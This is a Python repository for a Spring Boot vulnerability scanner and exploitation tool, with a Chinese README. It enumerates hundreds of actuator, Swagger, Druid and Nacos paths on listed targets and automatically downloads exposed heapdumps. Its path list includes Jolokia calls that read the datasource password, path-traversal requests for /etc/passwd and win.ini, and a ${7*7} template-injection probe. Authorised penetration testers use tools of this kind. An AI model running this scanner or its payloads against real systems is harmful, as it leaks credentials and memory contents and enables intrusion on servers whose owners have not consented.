├── Readme.md ├── config ├── api.txt ├── base_urls.txt └── springboot_urls.txt ├── img ├── image.png ├── image1.png ├── image2.png └── image3.png ├── main.py ├── result └── success.txt ├── urls.txt └── utils ├── logo.py └── tools.py /Readme.md: -------------------------------------------------------------------------------- 1 | ## SpringBoot 漏洞扫描利用工具 2 | ![alt text](img/image.png) 3 | 4 | ### 使用教程: 5 | 默认优先使用收集路径进行扫描(springboot_urls.txt) 6 | 当扫描不存在接口时,使用api前缀拼接扫描,可以自行添加 7 | 8 | ### 扫描URL: 9 | 本工具不想使用参数方式(记性不好,时不时就忘了参数是啥~~~) 10 | 需要扫描的url直接放在urls.txt里面即可 11 | 12 | ### 结果保存: 13 | 扫描结果以及下载的heapdump文件最终保存在result路径 14 | 15 | ### 命令: 16 | python3 main.py 17 | 18 | ### 更新记录 19 | #### 2024.09.26 20 | + 修复heapdump下载失败情况 21 | + 修复扫描结束即使存在heapdump也报不存在的情况 22 | + 增加扫描进度条,便于观察扫描情况 23 | + 美化输出结果 24 | + 修改扫描逻辑,加快扫描速率 25 | + 程序默认设定为10线程,需要修改请查看代码main.py,第5行:# 需要开启的线程数量 thread_number = 10 26 | 27 | ## 运行结果 28 | ![alt text](img/image1.png) 29 | 30 | ![alt text](img/image2.png) 31 | 32 | ![alt text](img/image3.png) 33 | -------------------------------------------------------------------------------- /config/api.txt: -------------------------------------------------------------------------------- 1 | /api 2 | /pro-api 3 | /v1 4 | /v2 5 | /v3 6 | /beta 7 | /alpha 8 | /dev 9 | /test 10 | /stage 11 | /prod 12 | /uat 13 | /public 14 | /private 15 | /protected 16 | /admin 17 | /user 18 | /guest 19 | /rest 20 | /soap 21 | /graphql 22 | /rpc 23 | /micro 24 | /monitor 25 | /actuator 26 | /accounts-api 27 | /auth-api 28 | /billing-api 29 | /cart-api 30 | /catalog-api 31 | /customers-api 32 | /orders-api 33 | /payments-api 34 | /products-api 35 | /reviews-api 36 | /shipping-api 37 | /analytics-api 38 | /backup-api 39 | /cache-api 40 | /export-api 41 | /import-api 42 | /jobs-api 43 | /logs-api 44 | /notifications-api 45 | /reports-api 46 | /search-api 47 | /sync-api 48 | /images-api 49 | /videos-api 50 | /audio-api 51 | /documents-api 52 | /files-api 53 | /mobile-api 54 | /web-api 55 | /desktop-api 56 | /tv-api 57 | /social-api 58 | /crm-api 59 | /erp-api 60 | /sms-api 61 | /email-api 62 | /na-api 63 | /eu-api 64 | /apac-api -------------------------------------------------------------------------------- /config/base_urls.txt: -------------------------------------------------------------------------------- 1 | /env 2 | /loggers 3 | /beans 4 | /caches 5 | /health 6 | /info 7 | /conditions 8 | /shutdown 9 | /configprops 10 | /heapdump 11 | /threaddump 12 | /metrics 13 | /mappings 14 | /scheduledtasks 15 | /gateway -------------------------------------------------------------------------------- /config/springboot_urls.txt: -------------------------------------------------------------------------------- 1 | 2 | / 3 | /#/wallboard 4 | /%20/swagger-ui.html 5 | /Swagger/ui/index 6 | /acl/article?id=66 7 | /acm 8 | /actuator 9 | /actuator/#/wallboard 10 | /actuator/acm 11 | /actuator/admin/swagger-ui.html 12 | /actuator/api-docs 13 | /actuator/api.html 14 | /actuator/api/index.html 15 | /actuator/api/swagger-ui.html 16 | /actuator/api/v2/api-docs 17 | /actuator/api/v2/swagger.json 18 | /actuator/archaius 19 | /actuator/article?id=${7*7} 20 | /actuator/article?id=66 21 | /actuator/auditLog 22 | /actuator/auditevents 23 | /actuator/auditevents/actuator/intergrationgraph 24 | /actuator/autoconfig 25 | /actuator/beans 26 | /actuator/beans/actuator/jolokia 27 | /actuator/beans1 28 | /actuator/caches 29 | /actuator/caches/actuator/refresh 30 | /actuator/caches/cache 31 | /actuator/channels 32 | /actuator/conditions 33 | /actuator/conditions/actuator/jolokia/list 34 | /actuator/conditions1 35 | /actuator/configprops 36 | /actuator/configurationMetadata 37 | /actuator/distv2/index.html 38 | /actuator/docs 39 | /actuator/druid/login.html 40 | /actuator/dubbo-provider/distv2/index.html 41 | /actuator/dump 42 | /actuator/env 43 | /actuator/env/actuator/liquibase 44 | /actuator/env/java.home 45 | /actuator/env/spring.jmx.enabled 46 | /actuator/env/system 47 | /actuator/events 48 | /actuator/exportRegisteredServices 49 | /actuator/features 50 | /actuator/features/actuator/peripheral/swagger-ui.html 51 | /actuator/flyway 52 | /actuator/gateway 53 | /gateway 54 | /actuator/h2-console 55 | /actuator/health 56 | /actuator/health/ 57 | /actuator/health/actuator/loggers 58 | /actuator/healthcheck 59 | /actuator/heapdump 60 | /actuator/httptrace 61 | /actuator/httptrace/actuator/mappings 62 | /actuator/hystrix.stream 63 | /actuator/hystrix.stream/*/actuator/swagger 64 | /actuator/info 65 | /actuator/info/actuator/metrics 66 | /actuator/integrationgraph 67 | /actuator/intergrationgraph 68 | /actuator/jolokia 69 | /actuator/jolokia/*/actuator/static/swagger.json 70 | /actuator/jolokia/list 71 | /actuator/liquibase 72 | /actuator/logfile 73 | /actuator/logfile/actuator/sw/swagger-ui.html 74 | /actuator/loggers 75 | /actuator/loggers/ 76 | /actuator/loggingConfig 77 | /actuator/management/heapdump 78 | /actuator/mappings 79 | /actuator/mappings 80 | /actuator/mappings/actuator/monitor/conditions 81 | /actuator/metrics 82 | /actuator/metrics 83 | /actuator/metrics/ 84 | /actuator/metrics/actuator/monitor/env 85 | /actuator/monitor/auditevents 86 | /actuator/monitor/conditions 87 | /actuator/monitor/env 88 | /actuator/monitor/loggers 89 | /actuator/monitor/mappings 90 | /actuator/monitor/scheduledtasks 91 | /actuator/monitor/threaddump 92 | /actuator/peripheral/swagger-ui.html 93 | /actuator/peripheral/v2/api-docs 94 | /actuator/prometheus 95 | /actuator/prometheus/actuator/swagger-dubbo/api-docs 96 | /actuator/refresh 97 | /actuator/refresh/actuator/peripheral/v2/api-docs 98 | /actuator/registeredServices 99 | /actuator/releaseAttributes 100 | /actuator/resolveAttributes 101 | /actuator/restart 102 | /actuator/scheduledtasks 103 | /actuator/scheduledtasks/actuator/monitor/mappings 104 | /actuator/sentinel 105 | /actuator/service-registry/actuator/prometheus 106 | /actuator/sessions 107 | /actuator/sessions/ 108 | /actuator/sessions/actuator/swagger-ui.html 109 | /actuator/shutdown 110 | /actuator/spring-security-oauth-resource/swagger-ui.html 111 | /actuator/spring-security-rest/api/swagger-ui.html 112 | /actuator/springWebflow 113 | /actuator/sso 114 | /actuator/ssoSessions 115 | /actuator/static/swagger.json 116 | /actuator/statistics 117 | /actuator/status 118 | /actuator/sw/swagger-ui.html 119 | /actuator/swagger 120 | /actuator/swagger-dubbo/api-docs 121 | /actuator/swagger-resourcesce 122 | /actuator/swagger-ui 123 | /actuator/swagger-ui.html 124 | /actuator/swagger-ui/index.html 125 | /actuator/swagger/codes 126 | /actuator/swagger/index.html 127 | /actuator/swagger/static/index.html 128 | /actuator/system/ 129 | /actuator/system/env 130 | /actuator/system/mappings 131 | /actuator/system/showOsInfo 132 | /actuator/system/showProperties 133 | /actuator/template/swagger-ui.html 134 | /actuator/threaddump 135 | /actuator/threaddump/actuator/monitor/scheduledtasks 136 | /actuator/tra 137 | /actuator/trace 138 | /actuator/user/swagger-ui.html 139 | /admin/swagger-ui.html 140 | /api 141 | /api-docs 142 | /api-docs/swagger.json 143 | /api.html 144 | /api/api-docs 145 | /api/apidocs 146 | /api/doc 147 | /api/index.html 148 | /api/swagger 149 | /api/swagger-resources 150 | /api/swagger-ui 151 | /api/swagger-ui.html 152 | /api/swagger-ui.json 153 | /api/swagger.json 154 | /api/swagger/ 155 | /api/swagger/ui 156 | /api/swaggerui 157 | /api/v1/ 158 | /api/v1/api-docs 159 | /api/v1/apidocs 160 | /api/v1/login 161 | /api/v1/swagger 162 | /api/v1/swagger-resources 163 | /api/v1/swagger-ui 164 | /api/v1/swagger-ui.html 165 | /api/v1/swagger-ui.json 166 | /api/v1/swagger.json 167 | /api/v1/swagger/ 168 | /api/v2 169 | /api/v2/api-docs 170 | /api/v2/apidocs 171 | /api/v2/login 172 | /api/v2/swagger 173 | /api/v2/swagger-resources 174 | /api/v2/swagger-ui 175 | /api/v2/swagger-ui.html 176 | /api/v2/swagger-ui.json 177 | /api/v2/swagger.json 178 | /api/v2/swagger/ 179 | /api/v3 180 | /apidocs 181 | /apidocs/swagger.json 182 | /article?id=${7*7} 183 | /article?id=66 184 | /auditevents 185 | /autoconfig 186 | /beans 187 | /beans1 188 | /caches 189 | /channels 190 | /clients 191 | /clients/actuator/system/showOsInfo 192 | /clients/all/actuator/tra 193 | /clients/saveOrUpdate/actuator/trace 194 | /cloudfoundryapplication 195 | /conditions 196 | /conditions1 197 | /configprops 198 | /distv2/index.html 199 | /doc.html 200 | /docs 201 | /docs/ 202 | /druid/*/actuator/swagger/codes 203 | /druid/api.html 204 | /druid/basic.json 205 | /druid/datasource.html 206 | /druid/index.html 207 | /druid/login.html 208 | /druid/spring.html 209 | /druid/sql.html 210 | /druid/wall.html 211 | /druid/webapp.html 212 | /druid/websession.html 213 | /druid/weburi.html 214 | /dubbo-provider/distv2/index.html 215 | /dump 216 | /entity/all 217 | /env 218 | /env/ 219 | /env/(name) 220 | /env/java.home 221 | /env/spring 222 | /env/spring.jmx.enabled 223 | /env/{name} 224 | /error/actuator/monitor/threaddump 225 | /eureka 226 | /eureka/*/actuator/service-registry 227 | /features 228 | /flyway 229 | /gateway/actuator 230 | /gateway/actuator/auditevents 231 | /gateway/actuator/beans 232 | /gateway/actuator/conditions 233 | /gateway/actuator/configprops 234 | /gateway/actuator/env 235 | /gateway/actuator/health 236 | /gateway/actuator/heapdump 237 | /gateway/actuator/httptrace 238 | /gateway/actuator/hystrix.stream 239 | /gateway/actuator/info 240 | /gateway/actuator/jolokia 241 | /gateway/actuator/logfile 242 | /gateway/actuator/loggers 243 | /gateway/actuator/mappings 244 | /gateway/actuator/metrics 245 | /gateway/actuator/scheduledtasks 246 | /gateway/actuator/swagger-ui.html 247 | /gateway/actuator/threaddump 248 | /gateway/actuator/trace 249 | /get 250 | /graphql 251 | /h2-console 252 | /health 253 | /health/ 254 | /heapdump 255 | /heapdump.json 256 | /httptrace 257 | /hystrix 258 | /hystrix.stream 259 | /info 260 | /intergrationgraph 261 | /jolokia 262 | /jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.password 263 | /jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.url 264 | /jolokia/list 265 | /lastn/actuator/sessions 266 | /libs/swaggerui 267 | /liquibase 268 | /list 269 | /log/view?filename=/etc/passwd&base=../../../../../../../../../../ 270 | /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ 271 | /logfile 272 | /loggers 273 | /login/admin/swagger-ui.html 274 | /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ 275 | /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ 276 | /management/heapdump 277 | /mappings 278 | /metrics 279 | /metrics/ 280 | /metrics/mem 281 | /metrics/{name} 282 | /monitor 283 | /monitor/auditevents 284 | /monitor/beans 285 | /monitor/conditions 286 | /monitor/configprops 287 | /monitor/env 288 | /monitor/health 289 | /monitor/heapdump 290 | /monitor/httptrace 291 | /monitor/hystrix.stream 292 | /monitor/info 293 | /monitor/jolokia 294 | /monitor/loggers 295 | /monitor/mappings 296 | /monitor/metrics 297 | /monitor/scheduledtasks 298 | /monitor/threaddump 299 | /oauth/authorize/actuator/swagger/index.html 300 | /oauth/check_token/actuator/swagger/static/index.html 301 | /oauth/client/token/api-docs 302 | /oauth/confirm_access/actuator/system/ 303 | /oauth/error/actuator/system/env 304 | /oauth/get/token/api.html 305 | /oauth/refresh/token/api/doc 306 | /oauth/remove/token/api/index.html 307 | /oauth/token/actuator/system/mappings 308 | /oauth/token/list/api/swagger 309 | /oauth/user/token/api/swagger-resources 310 | /oauth/userinfo/api/swagger-ui.html 311 | /peripheral/swagger-ui.html 312 | /peripheral/v2/api-docs 313 | /prometheus 314 | /redis/keysSize/api/swagger/ui 315 | /redis/memoryInfo/api/swaggerui 316 | /refresh 317 | /restart 318 | /scheduledtasks 319 | /services 320 | /services/1 321 | /services/api/v2/api-docs 322 | /services/findAlls/api/v1/api-docs 323 | /services/findOnes/api/v1/login 324 | /services/granted/api/v1/swagger-resources 325 | /services/saveOrUpdate/api/v1/swagger-ui.html 326 | /sessions 327 | /shutdown 328 | /spring-security-oauth-resource/swagger-ui.html 329 | /spring-security-rest/api/swagger-ui.html 330 | /static/swagger.json 331 | /sw/swagger-ui.html 332 | /swagger 333 | /swagger-dubbo/api-docs 334 | /swagger-resources 335 | /swagger-resources/actuator/shutdown 336 | /swagger-resources/configuration/security 337 | /swagger-resources/configuration/security/actuator/spring-security-oauth-resource/swagger-ui.html 338 | /swagger-resources/configuration/ui 339 | /swagger-resources/configuration/ui/actuator/spring-security-rest/api/swagger-ui.html 340 | /swagger-ui 341 | /swagger-ui.html 342 | /swagger-ui.html# 343 | /swagger-ui.html/api/v2/swagger.json 344 | /swagger-ui.json 345 | /swagger-ui/html 346 | /swagger-ui/index.html 347 | /swagger-ui/swagger.json 348 | /swagger.json 349 | /swagger.yml 350 | /swagger/ 351 | /swagger/codes 352 | /swagger/index.html 353 | /swagger/static/index.html 354 | /swagger/swagger-ui.html 355 | /swagger/ui 356 | /swagger/v1/swagger.json 357 | /swagger/v2/swagger.json 358 | /system/ 359 | /system/druid/index.html 360 | /system/druid/login.html 361 | /system/druid/websession.html 362 | /system/env 363 | /system/mappings 364 | /system/showOsInfo 365 | /system/showProperties 366 | /template/swagger-ui.html 367 | /threaddump 368 | /trace 369 | /trace/ 370 | /uc/env 371 | /user/swagger-ui.html 372 | /v1.1/swagger-ui.html 373 | /v1.2/swagger-ui.html 374 | /v1.3/swagger-ui.html 375 | /v1.4/swagger-ui.html 376 | /v1.5/swagger-ui.html 377 | /v1.6/swagger-ui.html 378 | /v1.7/swagger-ui.html 379 | /v1.8/swagger-ui.html 380 | /v1.9/swagger-ui.html 381 | /v1/agent/self/actuator/system/showProperties 382 | /v1/api-docs 383 | /v1/catalog/service/app 384 | /v1/catalog/services/actuator/threaddump 385 | /v1/swagger.json 386 | /v2.0/swagger-ui.html 387 | /v2.1/swagger-ui.html 388 | /v2.2/swagger-ui.html 389 | /v2.3/swagger-ui.html 390 | /v2/api-docs 391 | /v2/api-docs?group=swagger接口文档 392 | /v2/swagger.json 393 | /v3/api-docs 394 | /validata/code 395 | /version 396 | /webpage/system/druid/index.html 397 | /webpage/system/druid/login.html 398 | /webpage/system/druid/websession.html 399 | /actuator/gateway/routes 400 | /actuator/get 401 | /gateway/routes/new_route 402 | /actuator/gateway/routes/new_route 403 | /new_route 404 | /actuator/gateway/refresh 405 | /gateway/refresh 406 | /actuator/gateway/globalfilters 407 | /actuator/gateway/routefilters 408 | /actuator/gatewayroutes/1 409 | /actuator/nacos 410 | /actuator/nacos-config/actuator/swagger-resourcesce 411 | /actuator/nacos-discovery/actuator/swagger-ui 412 | /actuator/nacosconfig 413 | /actuator/nacos/v1/cs/configs 414 | /actuator/nacos/v1/cs/configs?dataId=Misplaced 415 | /actuator/nacos/v1/ns/instance 416 | /actuator/nacos/v1/ns/instance?serviceName=springboot2-nacos-discovery 417 | /actuator/nacos/v2/cs/configs 418 | /actuator/nacos/v2/cs/configs?dataId=Misplaced 419 | /actuator/nacos/v2/ns/instance 420 | /actuator/nacos/v2/ns/instance?serviceName=springboot2-nacos-discovery 421 | /actuator/nacos/v1/service/list?pageSize=123&groupname=default_group&encoding=utf-8 422 | /actuator/nacos/v2/service/list?pageSize=123&groupname=default_group&encoding=utf-8 423 | /nacos 424 | /nacos/v1/cs/configs 425 | /nacos/v1/cs/configs?dataId=Misplaced 426 | /nacos/v1/ns/instance 427 | /nacos/v1/ns/instance?serviceName=springboot2-nacos-discovery 428 | /nacos/v2/cs/configs 429 | /nacos/v2/cs/configs?dataId=Misplaced 430 | /nacos/v2/ns/instance 431 | /nacos/v2/ns/instance?serviceName=springboot2-nacos-discovery 432 | /nacos/v1/service/list?pageSize=123&groupname=default_group&encoding=utf-8 433 | /nacos/v2/service/list?pageSize=123&groupname=default_group&encoding=utf-8 434 | /v1/cs/configs 435 | /v1/cs/configs?dataId=Misplaced 436 | /v1/ns/instance 437 | /v1/ns/instance?serviceName=springboot2-nacos-discovery 438 | /v2/cs/configs 439 | /v2/cs/configs?dataId=Misplaced 440 | /v2/ns/instance 441 | /v2/ns/instance?serviceName=springboot2-nacos-discovery 442 | /v1/service/list?pageSize=123&groupname=default_group&encoding=utf-8 443 | /v2/service/list?pageSize=123&groupname=default_group&encoding=utf-8 444 | /nacos/v3/cs/configs 445 | /nacos/v3/cs/configs?dataId=Misplaced 446 | /nacos/v3/ns/instance 447 | /nacos/v3/ns/instance?serviceName=springboot2-nacos-discovery 448 | /nacos/v3/service/list?pageSize=123&groupname=default_group&encoding=utf-8 449 | /v3/cs/configs 450 | /v3/cs/configs?dataId=Misplaced 451 | /v3/ns/instance 452 | /v3/ns/instance?serviceName=springboot2-nacos-discovery 453 | /v3/service/list?pageSize=123&groupname=default_group&encoding=utf-8 454 | /actuator/archaius/actuator/nacosdiscovery 455 | /actuator/configprops/actuator/nacos 456 | /actuator/health/nacos 457 | /actuator/heapdump/actuator/loggers/nacos 458 | /actuator/loggers/actuator/metrics/nacos 459 | /env/nacos 460 | /get?serviceName=springboot2-nacos-discovery 461 | /metrics/nacos 462 | /webjars/**/actuator/nacosconfig 463 | /actuator/nacos/config -------------------------------------------------------------------------------- /img/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doki-byte/springboot_scan/8e3a047a500e15c36f4689a5cecb839eb8076aab/img/image.png -------------------------------------------------------------------------------- /img/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doki-byte/springboot_scan/8e3a047a500e15c36f4689a5cecb839eb8076aab/img/image1.png -------------------------------------------------------------------------------- /img/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doki-byte/springboot_scan/8e3a047a500e15c36f4689a5cecb839eb8076aab/img/image2.png -------------------------------------------------------------------------------- /img/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doki-byte/springboot_scan/8e3a047a500e15c36f4689a5cecb839eb8076aab/img/image3.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from utils.tools import * 2 | from utils.logo import logo 3 | 4 | # 需要开启的线程数量 5 | thread_number = 10 6 | 7 | 8 | 9 | 10 | if __name__ == "__main__": 11 | logo() 12 | 13 | print(Fore.GREEN + "扫描程序正在初始化~~~" + Fore.RESET) 14 | urls = init_scan() 15 | print(Fore.GREEN + "初始化运行完毕,即将开始扫描~~~" + Fore.RESET) 16 | print() 17 | 18 | print(Fore.GREEN + "即将开始基础扫描模式~~~" + Fore.RESET) 19 | for url in urls: 20 | url = url.strip() 21 | if url.endswith("/"): 22 | url = url[:-1] 23 | if not url.startswith(("http://", "https://")): 24 | url = "http://" + url 25 | if check_url(url): 26 | scan_base(url,thread_number) 27 | else: 28 | pass 29 | print(Fore.GREEN + "基础扫描模式运行结束,正在处理结果~~~" + Fore.RESET) 30 | print() 31 | 32 | with open("./result/success.txt", "a+", encoding="utf-8") as f: 33 | success_urls = f.readlines() 34 | if success_urls == []: 35 | print(Fore.GREEN + "即将开始前缀API扫描模式~~~" + Fore.RESET) 36 | for url in urls: 37 | if url.endswith("/"): 38 | url = url[:-1] 39 | if not url.startswith(("http://", "https://")): 40 | url = "http://" + url 41 | if check_url(url): 42 | scan_api_url(url,thread_number) 43 | else: 44 | pass 45 | print(Fore.GREEN + "前缀API扫描模式运行结束,正在处理结果~~~" + Fore.RESET) 46 | print() 47 | 48 | with open("./result/success.txt", "r", encoding="utf-8") as f: 49 | success_urls = f.readlines() 50 | if success_urls == []: 51 | print(Fore.GREEN + "扫描结束,未找到接口泄露~~~" + Fore.RESET) 52 | else: 53 | for success_url in success_urls: 54 | success_url = success_url.strip() 55 | if success_url.endswith("heapdump"): 56 | print(Fore.GREEN + "扫描到存在heapdump文件,即将进行下载~~~" + Fore.RESET) 57 | download_heapdump(success_url) 58 | print(Fore.GREEN + "扫描结束,请前往result路径查看~~~" + Fore.RESET) 59 | else: 60 | for success_url in success_urls: 61 | success_url = success_url.strip() 62 | if success_url.endswith("heapdump"): 63 | print(Fore.GREEN + "扫描到存在heapdump文件,即将进行下载~~~" + Fore.RESET) 64 | download_heapdump(success_url) 65 | print(Fore.GREEN + "扫描结束,请前往result路径查看~~~" + Fore.RESET) 66 | 67 | -------------------------------------------------------------------------------- /result/success.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /urls.txt: -------------------------------------------------------------------------------- 1 | http://127.0.0.1:8016 -------------------------------------------------------------------------------- /utils/logo.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Style, init 2 | 3 | 4 | # banner 5 | def logo(): 6 | print(Fore.YELLOW + Style.BRIGHT + """ 7 | 8 | ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ 9 | ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌ 10 | ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌ ▐░▌ 11 | ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ 12 | ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌ 13 | ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌ 14 | ▀▀▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▐░▌ 15 | ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ 16 | ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌▐░▌ ▐░▐░▌ 17 | ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ▐░░▌ 18 | ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀▀ 19 | 20 | SpringBoot扫描工具 21 | Author:沐寒 22 | 23 | 使用教程: 24 | 默认优先使用收集路径进行扫描(springboot_urls.txt) 25 | 当扫描不存在接口时,使用api前缀拼接扫描,可以自行添加 26 | 27 | 扫描URL: 28 | 本工具不想使用参数方式(记性不好,时不时就忘了参数是啥~~~) 29 | 需要扫描的url直接放在urls.txt里面即可 30 | 31 | 结果保存: 32 | 扫描结果以及下载的heapdump文件最终保存在result路径 33 | 34 | 命令: 35 | python3 main.py 36 | """ + Style.RESET_ALL) -------------------------------------------------------------------------------- /utils/tools.py: -------------------------------------------------------------------------------- 1 | import random 2 | import re 3 | import time 4 | import warnings 5 | import requests 6 | import threading 7 | from colorama import Fore, Style, init 8 | import urllib3 9 | from tqdm import tqdm 10 | 11 | # 初始化Colorama,使其在 Windows 终端中正常工作 12 | init(autoreset=True) 13 | 14 | # 关闭警告 15 | urllib3.disable_warnings() 16 | warnings.filterwarnings("ignore") 17 | lock = threading.Lock() 18 | 19 | 20 | """ 21 | 检查url状态 22 | """ 23 | def check_url(url): 24 | try: 25 | response = requests.get(url,timeout=2,verify=False) 26 | if response.status_code == 200 or response.status_code == 404 or response.status_code == 403: 27 | print(Fore.GREEN + f"接口访问正常:{url} 即将开启接口扫描 ~~~" + Style.RESET_ALL) 28 | return True 29 | else: 30 | print(Fore.RED + f"Error: 访问失败{url}" + Style.RESET_ALL) 31 | return False 32 | except Exception as e: 33 | print(Fore.RED + f"Error: 访问失败{url}" + Style.RESET_ALL) 34 | return False 35 | 36 | 37 | # 路径请求 38 | """ 39 | 路径扫描 40 | """ 41 | def ask_url(url): 42 | with lock: 43 | try: 44 | response = requests.get(url,timeout=1,verify=False) 45 | if response.status_code == 200 and "This application has no configured error view, so you are seeing this as a fallback." not in response.text and "40" not in response.text and "50" not in response.text: 46 | print(f"\n{Fore.GREEN}Success: 存在接口:{url}{Style.RESET_ALL}") 47 | with open("./result/success.txt", "a+", encoding="utf-8") as f: 48 | f.write(url + "\n") 49 | else: 50 | # print(Fore.WHITE + f"Filded 不存在接口:{url}" + Style.RESET_ALL) 51 | pass 52 | except Exception as e: 53 | print(f"\n{Fore.RED}Error: 访问失败 {url}{Style.RESET_ALL}") 54 | 55 | # 扫描 56 | def scan(urls, pbar): 57 | for url in urls: 58 | ask_url(url) 59 | with lock: # 使用锁来同步进度条更新 60 | pbar.update(1) 61 | 62 | 63 | # 基础路径扫描 64 | """ 65 | 基础路径扫描 66 | springboot_urls.txt 67 | """ 68 | def scan_base(baseurl,thread_number): 69 | with open("./config/springboot_urls.txt", "r", encoding="utf-8") as f: 70 | springboot_url_paths = f.readlines() 71 | 72 | url_paths = [baseurl + url_path.strip() for url_path in springboot_url_paths] 73 | 74 | # 创建一个共享的进度条 75 | with tqdm(total=len(url_paths), desc="基础扫描模式", unit="个") as pbar: 76 | # 线程划分 77 | threads = [] 78 | path_thread = len(url_paths) // thread_number 79 | for i in range(thread_number): 80 | start_index = i * path_thread 81 | end_index = (i + 1) * path_thread if i != 9 else len(url_paths) 82 | thread_lines = url_paths[start_index:end_index] 83 | 84 | thread = threading.Thread(target=scan, args=(thread_lines, pbar)) 85 | threads.append(thread) 86 | 87 | for thread in threads: 88 | thread.start() 89 | 90 | for thread in threads: 91 | thread.join() 92 | 93 | 94 | # 前缀接口式路径扫描 95 | """ 96 | 前缀接口式路径扫描 97 | api.txt + base_urls.txt 98 | """ 99 | def scan_api_url(baseurl,thread_number): 100 | with open("./config/api.txt", "r", encoding="utf-8") as f: 101 | api_paths = f.readlines() 102 | 103 | with open("./config/base_urls.txt", "r", encoding="utf-8") as f: 104 | base_paths = f.readlines() 105 | 106 | url_paths = [] 107 | 108 | for api_path in api_paths: 109 | for base_path in base_paths: 110 | api_path = api_path.strip() 111 | base_path = base_path.strip() 112 | url_paths.append(baseurl + api_path + base_path) 113 | 114 | # 创建一个共享的进度条 115 | with tqdm(total=len(url_paths), desc="前缀接口式路径扫描", unit="个") as pbar: 116 | # 线程划分 117 | threads = [] 118 | path_thread = len(url_paths) // thread_number 119 | for i in range(thread_number): 120 | start_index = i * path_thread 121 | end_index = (i + 1) * path_thread if i != 9 else len(url_paths) 122 | thread_lines = url_paths[start_index:end_index] 123 | 124 | thread = threading.Thread(target=scan, args=(thread_lines, pbar)) 125 | threads.append(thread) 126 | 127 | for thread in threads: 128 | thread.start() 129 | 130 | for thread in threads: 131 | thread.join() 132 | 133 | """ 134 | 匹配ip或者域名 135 | """ 136 | def find_url_doamin(url): 137 | pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}|\b(?:[a-zA-Z0-9-]{1,63}\.)+[a-zA-Z]{2,6}\b' 138 | 139 | # 查找IP地址或域名 140 | match = re.search(pattern, url) 141 | result = match.group(0) if match else None 142 | result = result.replace(".","_") 143 | return result 144 | 145 | # 下载heapdump 146 | """ 147 | 访问heapdump路径 148 | 下载文件至本地 149 | """ 150 | def download_heapdump(url): 151 | baseurl = find_url_doamin(url) 152 | try: 153 | with requests.get(url, stream=True) as r: 154 | total_size = int(r.headers.get('content-length', 0)) 155 | with tqdm(total=total_size, unit='B', unit_scale=True, desc="下载:heapdump") as bar: 156 | with open(("./result/heapdump_" + baseurl + str(time.strftime("_%Y_%m_%d_%H_%M_%S", time.localtime()))), 'wb') as f: 157 | for chunk in r.iter_content(chunk_size=1024): 158 | f.write(chunk) 159 | bar.update(len(chunk)) 160 | print(Fore.GREEN + "完美下载,请前往result路径查看~~~" + Fore.RESET) 161 | except: 162 | print(Fore.RED + "下载失败,请手动尝试下载~~~" + Fore.RESET) 163 | 164 | 165 | """ 166 | 程序初始化操作 167 | """ 168 | def init_scan(): 169 | try: 170 | with open("urls.txt", "r", encoding="utf-8") as f: 171 | urls = f.readlines() 172 | return urls 173 | except Exception as e: 174 | print(Fore.RED + "初始化运行失败~~~" + Fore.RESET) 175 | print(Fore.RED + "urls.txt扫描Url不存在,请退出程序,添加需要扫描的Url目标~~~" + Fore.RESET) 176 | with open("urls.txt", "a+", encoding="utf-8") as f: 177 | f.close() 178 | exit() 179 | --------------------------------------------------------------------------------